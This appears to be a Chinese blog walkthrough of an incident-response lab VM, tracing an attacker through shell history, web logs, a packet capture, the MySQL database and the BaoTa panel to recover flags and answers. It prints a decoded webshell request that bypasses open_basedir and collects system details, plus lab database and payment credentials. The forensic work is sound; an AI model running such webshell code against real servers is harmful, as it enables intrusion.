应急响应靶机——linux2

载入虚拟机,打开虚拟机:

居然是没有图形化界面的那种linux,账户密码:root/Inch@957821.(注意是大写的i还有英文字符的.)


查看虚拟机IP,192.168.230.10是NAT模式下自动分配的


看起来不是特别舒服,用连接工具MobaXterm或者Xshell进行连接:


查看当前路径下的文件:

发现有wp和数据包两个看起来挺重要的文件


wp文件有执行权限,先运行wp:

看来wp是个解题程序

1、攻击者IP

2、攻击者修改的管理员密码

3、第一次webshell的连接URL

4、webshell连接密码

5、数据包的flag1

6、攻击者使用的后续上传的木马文件名称

7、攻击者隐藏的flag2

8、攻击者隐藏的flag3


下载数据包1.pcang


上传whoamifuck.sh文件,给予执行权限并运行:

得到两个IP,但应该只有一个IP是攻击者的(题目没说有两个IP),试验一下是哪个IP

看来攻击者IP是192.168.20.1


history命令查看历史命令,发现flag3:

得到flag3:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}


wireshark打开刚才下载的数据包1.pcang

ip.addr==192.168.20.1,搜索关键词"flag1":

当然也可以追踪tcp流,发现在流20:

得到flag1:flag1{Network@_2020_Hack}


查看开放的服务有哪些:

./whoamifuck.sh -x

发现mysqld和bt服务在运行(这个bt后面再讲)


在/www/wwwlogs/access.log中发现了"GET /phpmyadmin":

说明网站搭建数据库是使用了phpmyadmin,直接去找配置文件config.inc.php


最后在/www/wwwroot/127.0.0.1/lib目录下找到了config.inc.php文件:


查看config.inc.php文件内容:

复制代码
<?php

/** 常规常量设置 */
define('DOMAINTYPE','off');
define('CH','exam_');
define('CDO','');
define('CP','/');
define('CRT',180);
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');//请随机生成32位字符串修改此处值
define('HE','utf-8');
define('PN',10);
define('TIME',time());
if(dirname($_SERVER['SCRIPT_NAME']))
{
    define('WP','http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/');
}
else
{
    define('WP','http://'.$_SERVER['SERVER_NAME'].'/');
}
define('OPENOSS',false);

/**接口加密设置**/
define('APIKEY','356d9abc2532ceb0945b615a922c3370');
define('APIIV','#phpems90iv*');
/**composer开关**/
define('COMPOSER',0);
/** 数据库设置 */
define('SQLDEBUG',0);
define('DB','kaoshi');//MYSQL数据库名
define('DH','127.0.0.1');//MYSQL主机名,不用改
define('DU','kaoshi');//MYSQL数据库用户名
define('DP','5Sx8mK5ieyLPb84m');//MYSQL数据库用户密码
define('DTH','x2_');//系统表前缀,不用改

/** 微信相关设置 */
define('USEWX',false);//微信使用开关,绑定用户,false时不启用
define('WXAUTOREG',false);//微信开启自动注册,设置为false时转向登录和注册页面,绑定openid
define('WXPAY',false);
//define('FOCUSWX',true);//强制引导关注微信
//define('WXQRCODE','qrcode.png');//微信公众号二维码地址
define('EP','@phpems.net');//微信开启自动注册时注册邮箱后缀
define('OPENAPPID','wx7703aa61284598ea');//开放平台账号
define('OPENAPPSECRET','36745ed4d4ea9da9f25e7b3ccd06d5ef');
define('MPAPPID','wx7703aa61284598ea');//小程序账号
define('MPAPPSECRET','36745ed4d4ea9da9f25e7b3ccd06d5ef');
define('WXAPPID','wx6967d8319bfeea19');//公众号账号
define('WXAPPSECRET','4d462a770aebb7460e2284cbd448cee0');
define('WXMCHID','1414206302');//MCHID
define('WXKEY','72653616204d16975931a46f9296092e');

/** 支付宝相关设置 */
define('ALIPAY',false);
/**MD5**/
define('ALIPART','111171660');
define('ALIKEY','os11111117fmljymmcau');
define('ALIACC','111111@qq.com');
/**RAS2**/
define('ALIAPPID','2016072738');
define('ALIPRIKEY','MIIEogIBAMXsHR2vhl3BqWBbXfDaIcrJgNssIUddVCX6fT9YWiPXCiCeu5M=');
define('ALIPUBKEY','MIIBIjANXRkaDw6wIDAQAB');

/** payjz相关设置 */
define('PAYJSASWX','NO');//使用PAYJZ的微信支付接口代替微信支付,不使用请设置为NO
define('PAYJSMCHID','1551052561');
define('PAYJSKEY','Zz8ks1ZP3UPKeTGi');
?>

数据库账户密码:

kaoshi: 5Sx8mK5ieyLPb84m


登录数据库:

mysql -ukaoshi -p5Sx8mK5ieyLPb84m

show databases;

use kaoshi;

show tables;

select * from x2_user_group;


select * from x2_user where userid=1;

得到管理员密码是Network@2020


再次回到wireshark的报文,由前面的flag1在tcp流的流20中,从1开始查看:

发现在流1是一堆乱码,流2中第一次看到正常的报文,url解码流2的关键代码

复制代码
Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        }
        ;
        $tmdir=$item."/.fd491f470fb7";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<sizeof($cntarr);$i++) {
            @chdir("..");
        }
        ;
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    }
    ;
}
;
;
function asenc($out) {
    return $out;
}
;
function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "4a0c"."dc70";
    echo @asenc($output);
    echo "db6"."da5";
}
ob_start();
try {
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}    ";
    if(substr($D,0,1)!="/") {
        foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
    } else {
        $R.="/";
    }
    $R.="   ";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="   {$s}";
    echo $R;
    ;
}
catch(Exception $e) {
    echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

丢个AI分析一下:

那就找对了,说明第一次webshell的连接URL是:index.php?user-app-register


此时注意到Network2020=@ini_set("display_errors", "0");

这句代码基本是所有webshell客户端链接PHP类WebShell都有的一种代码

比如蚁剑:

得知webshell连接密码是:Network2020


为了获取webshell木马文件,将http包和POST请求过滤出来:

http && http.request.method==POST

发现POST了一个version2.php,此时回想起history命令得到的结果中显示了删除version2.php的命令记录,version2.php应该是木马文件?

后面追踪了version2.php的tcp流


看到别人说这是冰蝎的webshell特征:


去wp验证一下对不对吧

说明后续上传的木马名称是version2.php


还差一个flag2,再回顾一下history命令:

发现在隐藏目录.api/中修改了mpnotify.php和alinotify.php文件


看看修改了alinotify.php什么内容:

成功得到flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}


总结一下:

1、192.168.20.1

2、Network@2020

3、index.php?user-app-register

4、Network2020

5、flag1{Network@_2020_Hack}

6、version2.php

7、flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

8、flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

成功攻克该靶机!


前面提到的bt是什么,bt是宝塔面板,该靶机是利用宝塔面板管理的


修改宝塔面板密码为root:


查看宝塔面板默认信息:

https://192.168.230.10:12485/5a2ce72d

uysycv5w/root


登录宝塔面板:


在"日志"模块发现基本上都是192.168.20.1的IP地址访问:

当然,在"网站"模块一样能发现异常访问:

攻击者IP:192.168.20.1


在"数据库"模块查看phpMyAdmin管理员密码:


一眼看出是md5加密:

管理员密码:Network@2020


在"网站"模块中添加靶机IP(192.168.230.10)

访问靶机,发现是个PHPEMS模拟考试系统:

利用获取到的管理员账户密码:peadmin/Network@2020进行登录,进入到"后台管理":


在"文件"模块的"内容/标签管理/标签修改"处发现木马,且位置在"注册页面":

得到webshell连接密码:Network2020


注册页面URL:

得知第一次webshell连接的URL:index.php?user-app-register

后续的步骤也基本一致了,这里就不再赘述

相关推荐
AlfredZhao1 天前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户9718356334661 天前
银河麒麟 KY10 申威(SW64) 安装 nginx-1.16.1-2.p01.ky10.sw_64.rpm 详细步骤
linux
猪脚踏浪2 天前
linux 拷贝文件或目录到指定的位置
linux
摇滚侠2 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
bush42 天前
嵌入式linux学习记录十四、术语
linux·嵌入式
载数而行5202 天前
Linux 11 动态监控指令top
linux
不会C语言的男孩2 天前
Linux 系统编程 · 第 8 章:进程基础
linux·c语言
古城小栈2 天前
Unix 与 Linux 异同小叙
linux·服务器·unix
零零信安2 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
凡人叶枫2 天前
Effective C++ 条款42:了解 typename 的双重意义
java·linux·服务器·c++